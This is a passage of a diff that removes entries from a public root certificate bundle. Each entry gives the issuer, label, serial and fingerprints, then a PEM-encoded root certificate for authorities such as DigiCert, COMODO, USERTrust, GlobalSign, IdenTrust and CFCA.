-IDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0CAQYF
-K4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FG
-fp4tn+6OYwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPO
-Z9wj/wMco+I+o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAd
-BgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNpYim8S8YwCgYIKoZIzj0EAwMDaAAwZQIx
-AK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y3maTD/HMsQmP3Wyr+mt/
-oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34VOKa5Vt8
-sycX
------END CERTIFICATE-----
-
-# Issuer: CN=DigiCert Trusted Root G4 O=DigiCert Inc OU=www.digicert.com
-# Subject: CN=DigiCert Trusted Root G4 O=DigiCert Inc OU=www.digicert.com
-# Label: "DigiCert Trusted Root G4"
-# Serial: 7451500558977370777930084869016614236
-# MD5 Fingerprint: 78:f2:fc:aa:60:1f:2f:b4:eb:c9:37:ba:53:2e:75:49
-# SHA1 Fingerprint: dd:fb:16:cd:49:31:c9:73:a2:03:7d:3f:c8:3a:4d:7d:77:5d:05:e4
-# SHA256 Fingerprint: 55:2f:7b:dc:f1:a7:af:9e:6c:e6:72:01:7f:4f:12:ab:f7:72:40:c7:8e:76:1a:c2:03:d1:d9:d2:0a:c8:99:88
------BEGIN CERTIFICATE-----
-MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBi
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3Qg
-RzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBiMQswCQYDVQQGEwJV
-UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu
-Y29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3y
-ithZwuEppz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1If
-xp4VpX6+n6lXFllVcq9ok3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDV
-ySAdYyktzuxeTsiT+CFhmzTrBcZe7FsavOvJz82sNEBfsXpm7nfISKhmV1efVFiO
-DCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGYQJB5w3jHtrHEtWoYOAMQ
-jdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6MUSaM0C/
-CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCi
-EhtmmnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADM
-fRyVw4/3IbKyEbe7f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QY
-uKZ3AeEPlAwhHbJUKSWJbOUOUlFHdL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXK
-chYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8oR7FwI+isX4KJpn15GkvmB0t
-9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB
-hjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
-ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2
-SV1EY+CtnJYYZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd
-+SeuMIW59mdNOj6PWTkiU0TryF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWc
-fFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy7zBZLq7gcfJW5GqXb5JQbZaNaHqa
-sjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iahixTXTBmyUEFxPT9N
-cCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN5r5N
-0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie
-4u1Ki7wb/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mI
-r/OSmbaz5mEP0oUA51Aa5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1
-/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tKG48BtieVU+i2iW1bvGjUI+iLUaJW+fCm
-gKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP82Z+
------END CERTIFICATE-----
-
-# Issuer: CN=COMODO RSA Certification Authority O=COMODO CA Limited
-# Subject: CN=COMODO RSA Certification Authority O=COMODO CA Limited
-# Label: "COMODO RSA Certification Authority"
-# Serial: 101909084537582093308941363524873193117
-# MD5 Fingerprint: 1b:31:b0:71:40:36:cc:14:36:91:ad:c4:3e:fd:ec:18
-# SHA1 Fingerprint: af:e5:d2:44:a8:d1:19:42:30:ff:47:9f:e2:f8:97:bb:cd:7a:8c:b4
-# SHA256 Fingerprint: 52:f0:e1:c4:e5:8e:c6:29:29:1b:60:31:7f:07:46:71:b8:5d:7e:a8:0d:5b:07:27:34:63:53:4b:32:b4:02:34
------BEGIN CERTIFICATE-----
-MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCB
-hTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
-A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNV
-BAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMTE5
-MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgT
-EkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
-Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNh
-dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR
-6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8X
-pz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC
-9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu/Nio5JIk2kNrYrhV
-/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEf
-Zd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z
-+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7w
-qP/0uK3pN/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZah
-SL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVIC
-u9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma/RMhnEw6abf
-Fobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq/yapiq
-crxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
-FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB
-/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvl
-wFTPoCWOAvn9sKIN9SCYPBMtrFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM
-4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+nq6PK7o9mfjYcwlYRm6mnPTXJ9OV
-2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSgtZx8jb8uk2Intzna
-FxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwWsRqZ
-CuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiK
-boHGhfKppC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmcke
-jkk9u+UJueBPSZI9FoJAzMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yL
-S0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHqZJx64SIDqZxubw5lT2yHh17zbqD5daWb
-QOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk527RH89elWsn2/x20Kk4yl
-0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7ILaZRfyHB
-NVOFBkpdn627G190
------END CERTIFICATE-----
-
-# Issuer: CN=USERTrust RSA Certification Authority O=The USERTRUST Network
-# Subject: CN=USERTrust RSA Certification Authority O=The USERTRUST Network
-# Label: "USERTrust RSA Certification Authority"
-# Serial: 2645093764781058787591871645665788717
-# MD5 Fingerprint: 1b:fe:69:d1:91:b7:19:33:a3:72:a8:0f:e1:55:e5:b5
-# SHA1 Fingerprint: 2b:8f:1b:57:33:0d:bb:a2:d0:7a:6c:51:f7:0e:e9:0d:da:b9:ad:8e
-# SHA256 Fingerprint: e7:93:c9:b0:2f:d8:aa:13:e2:1c:31:22:8a:cc:b0:81:19:64:3b:74:9c:89:89:64:b1:74:6d:46:c3:d4:cb:d2
------BEGIN CERTIFICATE-----
-MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB
-iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
-cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
-BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw
-MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV
-BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
-aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy
-dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
-AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B
-3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY
-tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/
-Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2
-VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT
-79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6
-c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT
-Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l
-c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee
-UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE
-Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
-BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G
-A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF
-Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO
-VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3
-ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs
-8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR
-iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze
-Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ
-XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/
-qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB
-VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB
-L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG
-jjxDah2nGN59PRbxYvnKkKj9
------END CERTIFICATE-----
-
-# Issuer: CN=USERTrust ECC Certification Authority O=The USERTRUST Network
-# Subject: CN=USERTrust ECC Certification Authority O=The USERTRUST Network
-# Label: "USERTrust ECC Certification Authority"
-# Serial: 123013823720199481456569720443997572134
-# MD5 Fingerprint: fa:68:bc:d9:b5:7f:ad:fd:c9:1d:06:83:28:cc:24:c1
-# SHA1 Fingerprint: d1:cb:ca:5d:b2:d5:2a:7f:69:3b:67:4d:e5:f0:5a:1d:0c:95:7d:f0
-# SHA256 Fingerprint: 4f:f4:60:d5:4b:9c:86:da:bf:bc:fc:57:12:e0:40:0d:2b:ed:3f:bc:4d:4f:bd:aa:86:e0:6a:dc:d2:a9:ad:7a
------BEGIN CERTIFICATE-----
-MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDEL
-MAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNl
-eSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMT
-JVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMjAx
-MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT
-Ck5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVUaGUg
-VVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlm
-aWNhdGlvbiBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqflo
-I+d61SRvU8Za2EurxtW20eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinng
-o4N+LZfQYcTxmdwlkWOrfzCjtHDix6EznPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0G
-A1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNVHQ8BAf8EBAMCAQYwDwYD
-VR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBBHU6+4WMB
-zzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbW
-RNZu9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
------END CERTIFICATE-----
-
-# Issuer: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R5
-# Subject: CN=GlobalSign O=GlobalSign OU=GlobalSign ECC Root CA - R5
-# Label: "GlobalSign ECC Root CA - R5"
-# Serial: 32785792099990507226680698011560947931244
-# MD5 Fingerprint: 9f:ad:3b:1c:02:1e:8a:ba:17:74:38:81:0c:a2:bc:08
-# SHA1 Fingerprint: 1f:24:c6:30:cd:a4:18:ef:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa
-# SHA256 Fingerprint: 17:9f:bc:14:8a:3d:d0:0f:d2:4e:a1:34:58:cc:43:bf:a7:f5:9c:81:82:d7:83:a5:13:f6:eb:ec:10:0c:89:24
------BEGIN CERTIFICATE-----
-MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEk
-MCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpH
-bG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoX
-DTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMbR2xvYmFsU2lnbiBFQ0MgUm9vdCBD
-QSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWdu
-MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6SFkc
-8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8ke
-hOvRnkmSh5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
-VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYI
-KoZIzj0EAwMDaAAwZQIxAOVpEslu28YxuglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg
-515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7yFz9SO8NdCKoCOJuxUnO
-xwy8p2Fp8fc74SrL+SvzZpA3
------END CERTIFICATE-----
-
-# Issuer: CN=IdenTrust Commercial Root CA 1 O=IdenTrust
-# Subject: CN=IdenTrust Commercial Root CA 1 O=IdenTrust
-# Label: "IdenTrust Commercial Root CA 1"
-# Serial: 13298821034946342390520003877796839426
-# MD5 Fingerprint: b3:3e:77:73:75:ee:a0:d3:e3:7e:49:63:49:59:bb:c7
-# SHA1 Fingerprint: df:71:7e:aa:4a:d9:4e:c9:55:84:99:60:2d:48:de:5f:bc:f0:3a:25
-# SHA256 Fingerprint: 5d:56:49:9b:e4:d2:e0:8b:cf:ca:d0:8a:3e:38:72:3d:50:50:3b:de:70:69:48:e4:2f:55:60:30:19:e5:28:ae
------BEGIN CERTIFICATE-----
-MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBK
-MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVu
-VHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQw
-MTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScw
-JQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwggIiMA0GCSqG
-SIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ldhNlT
-3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU
-+ehcCuz/mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gp
-S0l4PJNgiCL8mdo2yMKi1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1
-bVoE/c40yiTcdCMbXTMTEl3EASX2MN0CXZ/g1Ue9tOsbobtJSdifWwLziuQkkORi
-T0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl3ZBWzvurpWCdxJ35UrCL
-vYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzyNeVJSQjK
-Vsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZK
-dHzVWYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHT
-c+XvvqDtMwt0viAgxGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hv
-l7yTmvmcEpB4eoCHFddydJxVdHixuuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5N
-iGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
-/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZIhvcNAQELBQAD
-ggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
-6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwt
-LRvM7Kqas6pgghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93
-nAbowacYXVKV7cndJZ5t+qntozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3
-+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmVYjzlVYA211QC//G5Xc7UI2/YRYRK
-W2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUXfeu+h1sXIFRRk0pT
-AwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/rokTLq
-l1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG
-4iZZRHUe2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZ
-mUlO+KWA2yUPHGNiiskzZ2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A
-7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7RcGzM7vRX+Bi6hG6H
------END CERTIFICATE-----
-
-# Issuer: CN=IdenTrust Public Sector Root CA 1 O=IdenTrust
-# Subject: CN=IdenTrust Public Sector Root CA 1 O=IdenTrust
-# Label: "IdenTrust Public Sector Root CA 1"
-# Serial: 13298821034946342390521976156843933698
-# MD5 Fingerprint: 37:06:a5:b0:fc:89:9d:ba:f4:6b:8c:1a:64:cd:d5:ba
-# SHA1 Fingerprint: ba:29:41:60:77:98:3f:f4:f3:ef:f2:31:05:3b:2e:ea:6d:4d:45:fd
-# SHA256 Fingerprint: 30:d0:89:5a:9a:44:8a:26:20:91:63:55:22:d1:f5:20:10:b5:86:7a:ca:e1:2c:78:ef:95:8f:d4:f4:38:9f:2f
------BEGIN CERTIFICATE-----
-MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBN
-MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVu
-VHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcN
-MzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0
-MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwggIi
-MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTyP4o7
-ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGy
-RBb06tD6Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlS
-bdsHyo+1W/CD80/HLaXIrcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF
-/YTLNiCBWS2ab21ISGHKTN9T0a9SvESfqy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R
-3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoSmJxZZoY+rfGwyj4GD3vw
-EUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFnol57plzy
-9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9V
-GxyhLrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ
-2fjXctscvG29ZV/viDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsV
-WaFHVCkugyhfHMKiq3IXAAaOReyL4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gD
-W/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
-BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMwDQYJKoZIhvcN
-AQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
-t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHV
-DRDtfULAj+7AmgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9
-TaDKQGXSc3z1i9kKlT/YPyNtGtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8G
-lwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFtm6/n6J91eEyrRjuazr8FGF1NFTwW
-mhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMxNRF4eKLg6TCMf4Df
-WN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4Mhn5
-+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJ
-tshquDDIajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhA
-GaQdp/lLQzfcaFpPz+vCZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv
-8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ3Wl9af0AVqW3rLatt8o+Ae+c
------END CERTIFICATE-----
-
-# Issuer: CN=CFCA EV ROOT O=China Financial Certification Authority
-# Subject: CN=CFCA EV ROOT O=China Financial Certification Authority
-# Label: "CFCA EV ROOT"
-# Serial: 407555286
-# MD5 Fingerprint: 74:e1:b6:ed:26:7a:7a:44:30:33:94:ab:7b:27:81:30
-# SHA1 Fingerprint: e2:b8:29:4b:55:84:ab:6b:58:c2:90:46:6c:ac:3f:b8:39:8f:84:83
-# SHA256 Fingerprint: 5c:c3:d7:8e:4e:1d:5e:45:54:7a:04:e6:87:3e:64:f9:0c:f9:53:6d:1c:cc:2e:f8:00:f3:55:c4:c5:fd:70:fd
------BEGIN CERTIFICATE-----
-MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJD
-TjEwMC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9y
-aXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkx
-MjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEwMC4GA1UECgwnQ2hpbmEgRmluYW5j
-aWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNBIEVWIFJP
-T1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnVBU03
-sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpL
